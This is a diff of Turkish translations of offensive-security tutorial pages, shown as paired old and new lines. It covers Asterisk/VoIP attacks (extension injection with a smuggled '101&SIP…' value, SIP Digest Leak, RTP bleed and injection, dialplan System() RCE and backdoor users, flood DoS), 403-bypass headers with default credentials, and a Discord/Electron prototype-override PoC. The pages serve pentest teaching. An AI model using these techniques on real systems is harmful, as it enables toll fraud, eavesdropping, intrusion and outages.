Açık, belirtilen **uzantı uzunluğunun kontrol edilmemesi gerçeğidir, bu nedenle bir kullanıcı 5 saniyelik zaman aşımını tam bir numara olarak girebilir ve bu numara aranır.**
|
||||
|
||||
### Uzantı Enjeksiyonu
|
||||
|
||||
Aşağıdaki gibi bir uzantı kullanarak:
|
||||
Bir uzantı kullanarak:
|
||||
```scss
|
||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||
```
|
||||
Burada **`${EXTEN}`** çağrılacak olan **uzantı**dır, **ext 101 tanıtıldığında** bu gerçekleşecektir:
|
||||
Burada **`${EXTEN}`** **çağrılacak uzantı**dır, **ext 101 tanıtıldığında** bu gerçekleşecektir:
|
||||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
Ancak, eğer **`${EXTEN}`** **sayıların dışında** bir şey girmeye izin veriyorsa (eski Asterisk sürümlerinde olduğu gibi), bir saldırgan **`101&SIP123123123`** girerek 123123123 numarasını arayabilir. Ve bu sonuç olacaktır:
|
||||
Ancak, eğer **`${EXTEN}`** **sayıların dışında daha fazlasını** girmeye izin veriyorsa (eski Asterisk sürümlerinde olduğu gibi), bir saldırgan **`101&SIP123123123`** girerek 123123123 numarasını arayabilir. Ve bu sonuç olacaktır:
|
||||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
Bu nedenle, **`101`** ve **`123123123`** uzantısına bir çağrı gönderilecek ve yalnızca ilk çağrıyı alan bağlantı kurulacaktır... ancak bir saldırgan, mevcut olmayan ancak herhangi bir eşleşmeyi atlayan bir **uzantı kullanırsa**, yalnızca istenen numaraya **bir çağrı enjekte edebilir**.
|
||||
Bu nedenle, **`101`** ve **`123123123`** uzantısına bir çağrı gönderilecek ve yalnızca ilk çağrıyı alan bağlantı kurulacaktır... ancak bir saldırgan, mevcut olan herhangi bir eşleşmeyi atlayan ancak var olmayan bir **uzantı kullanırsa**, yalnızca istenen numaraya **bir çağrı enjekte edebilir**.
|
||||
|
||||
## SIPDigestLeak zafiyeti
|
||||
|
||||
SIP Digest Leak, hem donanım hem de yazılım IP telefonları ile telefon adaptörlerini (VoIP'tan analog) içeren çok sayıda SIP Telefonunu etkileyen bir zafiyettir. Bu zafiyet, şifreden hesaplanan **Digest kimlik doğrulama yanıtının sızmasına** izin verir. **Çevrimdışı bir şifre saldırısı mümkün hale gelir** ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.
|
||||
SIP Digest Leak, hem donanım hem de yazılım IP Telefonları ile telefon adaptörlerini (VoIP'tan analog) içeren çok sayıda SIP Telefonunu etkileyen bir zafiyettir. Bu zafiyet, şifreden hesaplanan **Digest kimlik doğrulama yanıtının sızmasına** izin verir. **Çevrimdışı bir şifre saldırısı mümkün hale gelir** ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.
|
||||
|
||||
**[Zafiyet senaryosu buradan**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
1. Bir IP Telefon (kurban) herhangi bir portta (örneğin: 5060) dinliyor, telefon çağrılarını kabul ediyor
|
||||
2. Saldırgan IP Telefone bir INVITE gönderiyor
|
||||
3. Kurban telefon çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu yanıtlamıyor)
|
||||
4. Telefon kapatıldığında, **kurban telefon saldırgana bir BYE gönderiyor**
|
||||
5. **Saldırgan bir 407 yanıtı veriyor** ve **kimlik doğrulama talep ediyor** ve bir kimlik doğrulama meydan okuması yayımlıyor
|
||||
6. **Kurban telefon, ikinci bir BYE'de kimlik doğrulama meydan okumasına bir yanıt sağlıyor**
|
||||
3. Kurban telefonu çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu yanıtlamıyor)
|
||||
4. Telefon kapatıldığında, **kurban telefonu saldırgana BYE gönderiyor**
|
||||
5. **Saldırgan 407 yanıtı veriyor** ve **kimlik doğrulama talep ediyor** ve bir kimlik doğrulama meydan okuması yayımlıyor
|
||||
6. **Kurban telefonu, kimlik doğrulama meydan okumasına bir yanıt sağlıyor** ikinci bir BYE ile
|
||||
7. **Saldırgan, yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı bir brute-force saldırısı gerçekleştirebilir** ve şifreyi tahmin edebilir
|
||||
|
||||
- **SIPPTS sızıntısı** [**sippts**](https://github.com/Pepelux/sippts)**'den:** SIPPTS sızıntısı, çok sayıda SIP Telefonunu etkileyen SIP Digest Leak zafiyetini istismar eder. Çıktı, SIPPTS dcrack veya SipCrack aracı kullanılarak brute force yapmak için SipCrack formatında kaydedilebilir.
|
||||
- **SIPPTS sızıntısı** [**sippts**](https://github.com/Pepelux/sippts)**'den:** SIPPTS sızıntısı, çok sayıda SIP Telefonunu etkileyen SIP Digest Leak zafiyetini istismar eder. Çıktı, SIPPTS dcrack veya SipCrack aracı kullanarak brute force yapmak için SipCrack formatında kaydedilebilir.
|
||||
```bash
|
||||
sippts leak -i 10.10.0.10
|
||||
|
||||
@ -476,7 +476,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
||||
|
||||
Click2Call, bir **web kullanıcısının** (örneğin bir ürüne ilgi duyan) **telefon numarasını** tanıtmasına olanak tanır. Ardından bir ticari arama yapılır ve kullanıcı **telefonu açtığında**, kullanıcı **ajanla arama yapılıp bağlanır**.
|
||||
|
||||
Bunun için yaygın bir Asterisk profili şudur:
|
||||
Bunun için yaygın bir Asterisk profili:
|
||||
```scss
|
||||
[web_user]
|
||||
secret = complex_password
|
||||
@ -487,7 +487,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
||||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
- Önceki profil **HERHANGİ BİR IP adresinin bağlanmasına izin veriyor** (şifre biliniyorsa).
|
||||
- Daha önce belirtildiği gibi, **bir arama düzenlemek için** **okuma izinlerine gerek yoktur** ve **sadece** **başlatma** için **yazma** izni gereklidir.
|
||||
- Daha önce belirtildiği gibi, **bir arama düzenlemek için** **okuma izinlerine gerek yoktur** ve **sadece** **yazma** **izni** **gerekir**.
|
||||
|
||||
Bu izinlerle, şifreyi bilen herhangi bir IP bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin:
|
||||
```bash
|
||||
@ -520,11 +520,11 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
||||
|
||||
**RTCPBleed**, Asterisk tabanlı VoIP sunucularını etkileyen büyük bir güvenlik sorunudur (2017'de yayımlandı). Bu zafiyet, VoIP konuşmalarını taşıyan **RTP (Gerçek Zaman Protokolü) trafiğinin**, **İnternetteki herkes tarafından dinlenip yönlendirilebilmesine** olanak tanır. Bu, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamayı atlamasından kaynaklanır.
|
||||
|
||||
RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek RTC sistemlerini etkileyen **NAT sınırlamalarını** gidermeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir **IP ve port çiftinin otomatik olarak öğrenildiği** bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portu yanıtlanması gereken olarak işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, **herhangi bir tür kimlik doğrulama kullanmaz**. Bu nedenle, **saldırganlar**, **RTP proxy'sine RTP trafiği gönderebilir** ve devam eden bir RTP akışı için arayan veya aranan kişi için gönderilmesi gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.
|
||||
RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek RTC sistemlerini etkileyen **NAT sınırlamalarını** gidermeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir **IP ve port çiftinin otomatik olarak öğrenildiği** bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için yanıt verilmesi gereken kaynak IP ve portunu işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, **herhangi bir tür kimlik doğrulama kullanmaz**. Bu nedenle, **saldırganlar**, **RTP trafiğini RTP proxy'sine gönderebilir** ve devam eden bir RTP akışı için arayan veya aranan kişi için olması gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.
|
||||
|
||||
RTP proxy'leri ve RTP yığınlarının bir diğer ilginç davranışı, bazen, **RTP Bleed'e karşı savunmasız olsalar bile**, **herhangi bir kaynaktan gelen RTP paketlerini kabul edip iletebilmeleri ve/veya işlemeleri**dir. Bu nedenle, saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir.
|
||||
RTP proxy'lerinin ve RTP yığınlarının bir diğer ilginç davranışı, bazen **RTP Bleed'e karşı savunmasız olsalar bile**, **herhangi bir kaynaktan gelen RTP paketlerini kabul edip iletebilmeleri ve/veya işlem yapabilmeleridir**. Bu nedenle, saldırganlar meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilirler. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir.
|
||||
|
||||
Asterisk ve FreePBX, RTP trafiğinin kimlik doğrulamayı atlamasını sağlayan **`NAT=yes` ayarını** geleneksel olarak kullanmıştır; bu da aramalarda sesin olmamasına veya tek yönlü ses sorunlarına yol açabilir.
|
||||
Asterisk ve FreePBX, RTP trafiğinin kimlik doğrulamayı atlamasına olanak tanıyan **`NAT=yes` ayarını** geleneksel olarak kullanmıştır; bu da aramalarda sesin olmamasına veya tek yönlü ses sorunlarına yol açabilir.
|
||||
|
||||
Daha fazla bilgi için [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||||
|
||||
@ -546,20 +546,20 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
||||
```
|
||||
### RCE
|
||||
|
||||
Asterisk'te bir şekilde **uzantı kuralları ekleyip bunları yeniden yükleyebilme** (örneğin, savunmasız bir web yönetim sunucusunu ele geçirerek) yeteneğine sahip olduğunuzda, **`System`** komutunu kullanarak RCE elde etmek mümkündür.
|
||||
Asterisk'te bir şekilde **uzantı kuralları ekleyip bunları yeniden yükleyebilme** (örneğin, savunmasız bir web yönetici sunucusunu tehlikeye atarak) yeteneğine sahip olduğunuzda, **`System`** komutunu kullanarak RCE elde etmek mümkündür.
|
||||
```scss
|
||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
```
|
||||
**`Shell`** adında, gerektiğinde sistem komutlarını çalıştırmak için **`System`** yerine kullanılabilecek bir komut vardır.
|
||||
|
||||
> [!WARNING]
|
||||
> Eğer sunucu **`System`** komutunda (Elastix'te olduğu gibi) belirli karakterlerin kullanılmasını **yasaklıyorsa**, web sunucusunun **sistemin içinde dosya oluşturmasına** izin verip vermediğini kontrol edin (Elastix veya trixbox'ta olduğu gibi) ve bunu **bir arka kapı betiği oluşturmak için** kullanın, ardından **`System`** ile bu **betiği** **çalıştırın**.
|
||||
> Eğer sunucu **`System`** komutunda (Elastix gibi) belirli karakterlerin kullanılmasını **engelliyorsa**, web sunucusunun **sistemin içinde dosya oluşturmasına** izin verip vermediğini kontrol edin (Elastix veya trixbox gibi) ve bunu **bir arka kapı betiği oluşturmak için** kullanın, ardından **`System`** ile bu **betiği çalıştırın**.
|
||||
|
||||
#### İlginç yerel dosyalar ve izinler
|
||||
|
||||
- **`sip.conf`** -> SIP kullanıcılarının şifresini içerir.
|
||||
- Eğer **Asterisk sunucusu root olarak çalışıyorsa**, root'u tehlikeye atabilirsiniz.
|
||||
- **mysql root kullanıcısının** **herhangi bir şifresi olmayabilir**.
|
||||
- **mysql root kullanıcısı** muhtemelen **herhangi bir şifreye sahip değildir**.
|
||||
- bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
|
||||
- **`FreePBX`**
|
||||
- **`amportal.conf`** -> Web paneli yöneticisinin (FreePBX) şifresini içerir.
|
||||
@ -573,15 +573,15 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
|
||||
**`rtpinsertsound`** (`sudo apt install rtpinsertsound`) ve **`rtpmixsound`** (`sudo apt install rtpmixsound`) gibi araçlar kullanarak konuşmalara **`.wav`** dosyası eklemek mümkündür.
|
||||
|
||||
Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) adresinden **konuşmaları taramak** için **`rtpscan.pl`**, bir konuşmaya **`.wav`** göndermek için **`rtpsend.pl`** ve bir konuşmaya **gürültü eklemek** için **`rtpflood.pl`** betiklerini kullanabilirsiniz.
|
||||
Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) adresindeki betikleri kullanarak **konuşmaları tarayabilir** (**`rtpscan.pl`**), bir konuşmaya **`.wav`** gönderebilir (**`rtpsend.pl`**) ve bir konuşmaya **gürültü ekleyebilirsiniz** (**`rtpflood.pl`**).
|
||||
|
||||
### DoS
|
||||
|
||||
VoIP sunucularında DoS elde etmenin birkaç yolu vardır.
|
||||
|
||||
- **`SIPPTS flood`** [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood, hedefe sınırsız mesaj gönderir.
|
||||
- **`SIPPTS flood`** [**sippts**](https://github.com/Pepelux/sippts)**'den: SIPPTS flood, hedefe sınırsız mesaj gönderir.
|
||||
- `sippts flood -i 10.10.0.10 -m invite -v`
|
||||
- **`SIPPTS ping`** [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping, sunucu yanıt süresini görmek için bir SIP ping yapar.
|
||||
- **`SIPPTS ping`** [**sippts**](https://github.com/Pepelux/sippts)**'den: SIPPTS ping, sunucunun yanıt süresini görmek için bir SIP ping yapar.
|
||||
- `sippts ping -i 10.10.0.10`
|
||||
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk tarafından kullanılan DoS IAX protokolü.
|
||||
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP üzerinden SIP/SDP INVITE mesajı seli gerçekleştiren bir araç.
|
||||
@ -592,7 +592,7 @@ VoIP sunucularında DoS elde etmenin birkaç yolu vardır.
|
||||
|
||||
### OS Güvenlik Açıkları
|
||||
|
||||
Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir **OS dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Bu dağıtımların sorunu, çalışmaya başladıktan sonra sistem yöneticilerinin **bir daha güncellemeyebileceği** ve **güvenlik açıklarının** zamanla keşfedileceğidir.
|
||||
Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir **OS dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Sorun şu ki, bir kez çalışmaya başladıktan sonra sistem yöneticileri **bir daha güncellemeyebilir** ve **güvenlik açıkları** zamanla keşfedilecektir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -6,14 +6,14 @@
|
||||
|
||||
Dosyaya erişmek için **farklı fiiller** kullanmayı deneyin: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||
|
||||
- Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, **HEAD** için **200 yanıtı** ve `Content-Length: 55` demek ki **HEAD fiili bilgiye erişebilir**. Ama yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmalısınız.
|
||||
- Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, **HEAD** için **200 yanıtı** ve `Content-Length: 55` demek ki **HEAD fiili bilgiye erişebilir**. Ama bu bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekiyor.
|
||||
- `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir.
|
||||
- **`TRACE`** fiilini kullanın ve eğer çok şanslıysanız belki yanıt içinde **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu başlıklar faydalı olabilir.
|
||||
- **`TRACE`** fiilini kullanın ve çok şanslıysanız belki yanıt içinde **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu başlıklar faydalı olabilir.
|
||||
|
||||
## HTTP Başlıkları Fuzzing
|
||||
|
||||
- **Host başlığını** rastgele bir değere değiştirin ([burada işe yaradı](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
- Kaynağa erişmek için [**diğer Kullanıcı Ajanlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin.
|
||||
- Kaynağa erişmek için [**diğer Kullanıcı Araçlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin.
|
||||
- **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıkları**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bütün bunları yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum.
|
||||
|
||||
- `X-Originating-IP: 127.0.0.1`
|
||||
@ -35,7 +35,7 @@ Eğer **yol korunuyorsa**, bu diğer başlıkları kullanarak yol korumasını a
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
- Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy, özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/index.html) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)**'nı kötüye kullanmayı deneyin.**
|
||||
- Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy, özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/index.html) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)** kötüye kullanmayı deneyin.**
|
||||
- Farklı yanıtlar aramak için [**özel HTTP başlıklarını**](special-http-headers.md) fuzzing yapın.
|
||||
- **HTTP Yöntemlerini** fuzzing yaparken **özel HTTP başlıklarını** fuzzing yapın.
|
||||
- **Host başlığını kaldırın** ve belki de korumayı aşabileceksiniz.
|
||||
@ -44,7 +44,7 @@ Eğer **yol korunuyorsa**, bu diğer başlıkları kullanarak yol korumasını a
|
||||
|
||||
Eğer _/path_ engellenmişse:
|
||||
|
||||
- _**/**_**%2e/path_ kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca **\_\*\* /%252e\*\*/path** (çift URL kodlaması) deneyin.
|
||||
- `/%2e/path` kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca `/%252e**/path` (çift URL kodlaması) deneyin.
|
||||
- **Unicode bypass** deneyin: _/**%ef%bc%8f**path_ (URL kodlu karakterler "/" gibidir) böylece geri kodlandığında _//path_ olacak ve belki de _/path_ adı kontrolünü aşmış olacaksınız.
|
||||
- **Diğer yol bypass'ları**:
|
||||
- site.com/secret –> HTTP 403 Yasak
|
||||
@ -87,13 +87,13 @@ HTTP/1.1 kullanıyorsanız **1.0 kullanmayı deneyin** veya **2.0'ı destekleyip
|
||||
## **Diğer Bypass'lar**
|
||||
|
||||
- Alan adının **IP** veya **CNAME**'sini alın ve **doğrudan iletişim kurmayı** deneyin.
|
||||
- **Sunucuya baskı yapmayı** deneyin, yaygın GET istekleri gönderin ([Bu adam için işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
- **Protokolü değiştirin**: http'den https'ye veya https'den http'ye geçin.
|
||||
- **Sunucuyu zorlayın** yaygın GET istekleri göndererek ([Bu adam için işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
- **Protokolü değiştirin**: http'den https'ye veya https'den http'ye.
|
||||
- [**https://archive.org/web/**](https://archive.org/web/) adresine gidin ve geçmişte o dosyanın **dünya çapında erişilebilir olup olmadığını** kontrol edin.
|
||||
|
||||
## **Brute Force**
|
||||
|
||||
- **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Yoksa CTF meydan okuma adını mı biliyorsunuz?
|
||||
- **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adı?
|
||||
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Temel, digest ve NTLM kimlik doğrulamasını deneyin.
|
||||
```:Common creds
|
||||
admin admin
|
||||
|
||||
@ -20,7 +20,7 @@ return 1337
|
||||
}
|
||||
</script>
|
||||
```
|
||||
`SAFE_PROTOCOLS.indexOf` çağrısı her zaman 1337 döndüreceğinden, saldırgan korumayı atlayabilir ve calc'i çalıştırabilir. Son istismar:
|
||||
`SAFE_PROTOCOLS.indexOf` çağrısı her zaman 1337 döndüreceği için, saldırgan korumayı atlayabilir ve calc'i çalıştırabilir. Son istismar:
|
||||
```html
|
||||
<script>
|
||||
Array.prototype.indexOf = function () {
|
||||
@ -29,7 +29,7 @@ return 1337
|
||||
</script>
|
||||
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
||||
```
|
||||
Orijinal slaytlara, izin istemeden programları çalıştırmanın diğer yollarını kontrol edin.
|
||||
Orijinal slaytlara, izinler için bir istem istemeden programları çalıştırmanın diğer yollarını kontrol edin.
|
||||
|
||||
Görünüşe göre kod yüklemek ve çalıştırmak için `file://127.0.0.1/electron/rce.jar` gibi bir şeye erişmek başka bir yol.
|
||||
|
||||
@ -40,7 +40,7 @@ Görünüşe göre kod yüklemek ve çalıştırmak için `file://127.0.0.1/elec
|
||||
Ön yükleme betiklerini kontrol ederken, Discord'un bazı izin verilen modüllerin `DiscordNative.nativeModules.requireModule('MODULE-NAME')` aracılığıyla çağrılmasına izin veren bir işlevi web sayfasına açtığını buldum.\
|
||||
Burada, RCE için doğrudan kullanılabilecek _child_process_ modülü gibi modülleri kullanamadım, ancak **JavaScript yerleşik yöntemlerini geçersiz kılarak** ve açığa çıkarılan modülün yürütülmesine müdahale ederek RCE'nin elde edilebileceği bir kod buldum.
|
||||
|
||||
Aşağıda PoC bulunmaktadır. **calc** uygulamasının, **`RegExp.prototype.test` ve `Array.prototype.join`** yöntemlerini geçersiz kılarken, devTools'tan "_discord_utils_" adlı modülde tanımlı **`getGPUDriverVersions` fonksiyonunu** çağırdığımda **açıldığını** doğruladım.
|
||||
Aşağıda PoC bulunmaktadır. **calc** uygulamasının **`getGPUDriverVersions` işlevini** çağırdığımda **açıldığını** doğrulayabildim; bu işlev, devTools'tan "_discord_utils_" adlı modülde tanımlıdır ve **`RegExp.prototype.test` ve `Array.prototype.join`** yöntemlerini geçersiz kıldım.
|
||||
```javascript
|
||||
RegExp.prototype.test = function () {
|
||||
return false
|
||||
@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() }
|
||||
return result
|
||||
}
|
||||
```
|
||||
Genellikle _execa_, `nvidiaSmiPath` değişkeninde belirtilen "_nvidia-smi.exe_" dosyasını çalıştırmaya çalışır, ancak `RegExp.prototype.test` ve `Array.prototype.join`'ın geçersiz kılınması nedeniyle, **argüman _execa**\_**'nın iç işleyişinde "**_**calc**_**" ile değiştirilir**.
|
||||
Genellikle _execa_, `nvidiaSmiPath` değişkeninde belirtilen "_nvidia-smi.exe_" dosyasını çalıştırmaya çalışır, ancak `RegExp.prototype.test` ve `Array.prototype.join`'ın geçersiz kılınması nedeniyle, **argüman _execa**'nın **iç işleyişinde "**_**calc**_**" ile değiştirilir**.
|
||||
|
||||
Özellikle, argüman aşağıdaki iki bölüm değiştirilerek değiştirilir.
|
||||
|
||||
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
||||
|
||||
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Daha fazla ayrıntıyı [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) adresinde kontrol edin.
|
||||
Daha fazla detay için [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
|
||||
|
||||
ImageMagick, çok yönlü bir görüntü işleme kütüphanesi olarak, geniş seçenekleri ve ayrıntılı çevrimiçi belgelerin eksikliği nedeniyle güvenlik politikasını yapılandırmada zorluklar sunmaktadır. Kullanıcılar genellikle parçalı internet kaynaklarına dayanarak politikalar oluşturur, bu da potansiyel yanlış yapılandırmalara yol açar. Kütüphane, her biri karmaşıklığına ve güvenlik açığı profilini etkileyen 100'den fazla görüntü formatını desteklemektedir; bu durum tarihsel güvenlik olaylarıyla gösterilmiştir.
|
||||
ImageMagick, çok yönlü bir görüntü işleme kütüphanesi, geniş seçenekleri ve ayrıntılı çevrimiçi belgelerin eksikliği nedeniyle güvenlik politikasını yapılandırmada zorluklar sunmaktadır. Kullanıcılar genellikle parçalı internet kaynaklarına dayanarak politikalar oluşturur, bu da potansiyel yanlış yapılandırmalara yol açar. Kütüphane, her biri karmaşıklığına ve güvenlik açığı profilini etkileyen 100'den fazla görüntü formatını desteklemektedir; bu durum tarihsel güvenlik olaylarıyla gösterilmiştir.
|
||||
|
||||
## Daha Güvenli Politikalar İçin
|
||||
|
||||
Bu zorlukları ele almak için, ImageMagick'in güvenlik politikalarını tasarlamaya ve denetlemeye yardımcı olmak amacıyla bir [araç geliştirilmiştir](https://imagemagick-secevaluator.doyensec.com/). Bu araç, kapsamlı araştırmalara dayanmaktadır ve politikaların yalnızca sağlam değil, aynı zamanda istismar edilebilecek boşluklardan da arındırılmış olmasını sağlamayı hedeflemektedir.
|
||||
Bu zorlukları ele almak için, ImageMagick'in güvenlik politikalarını tasarlamaya ve denetlemeye yardımcı olmak amacıyla [bir araç geliştirilmiştir](https://imagemagick-secevaluator.doyensec.com/). Bu araç, kapsamlı araştırmalara dayanmaktadır ve politikaların yalnızca sağlam değil, aynı zamanda istismar edilebilecek boşluklardan da arındırılmış olmasını sağlamayı hedeflemektedir.
|
||||
|
||||
## İzin Listesi vs. Yasak Listesi Yaklaşımı
|
||||
|
||||
Tarihsel olarak, ImageMagick politikaları yasak listesi yaklaşımına dayanıyordu; burada belirli kodlayıcılara erişim engelleniyordu. Ancak, ImageMagick 6.9.7-7'deki değişiklikler bu paradigmayı değiştirdi ve izin listesi yaklaşımını mümkün kıldı. Bu yaklaşım, önce tüm kodlayıcıları reddeder ve ardından güvenilir olanlara seçici olarak erişim izni vererek güvenlik duruşunu artırır.
|
||||
Tarihsel olarak, ImageMagick politikaları, belirli kodlayıcıların erişiminin reddedildiği bir yasak listesi yaklaşımına dayanıyordu. Ancak, ImageMagick 6.9.7-7'deki değişiklikler bu paradigmayı değiştirdi ve bir izin listesi yaklaşımını mümkün kıldı. Bu yaklaşım, önce tüm kodlayıcıların erişimini reddeder ve ardından güvenilir olanlara seçici olarak erişim izni vererek güvenlik duruşunu güçlendirir.
|
||||
```xml
|
||||
...
|
||||
<policy domain="coder" rights="none" pattern="*" />
|
||||
@ -25,7 +25,7 @@ ImageMagick'teki politika desenlerinin büyük/küçük harf duyarlı olduğunu
|
||||
|
||||
## Kaynak Sınırlamaları
|
||||
|
||||
ImageMagick, düzgün yapılandırılmadığında hizmet reddi saldırılarına karşı hassastır. Politika içinde açık kaynak sınırlamaları belirlemek, bu tür zayıflıkları önlemek için gereklidir.
|
||||
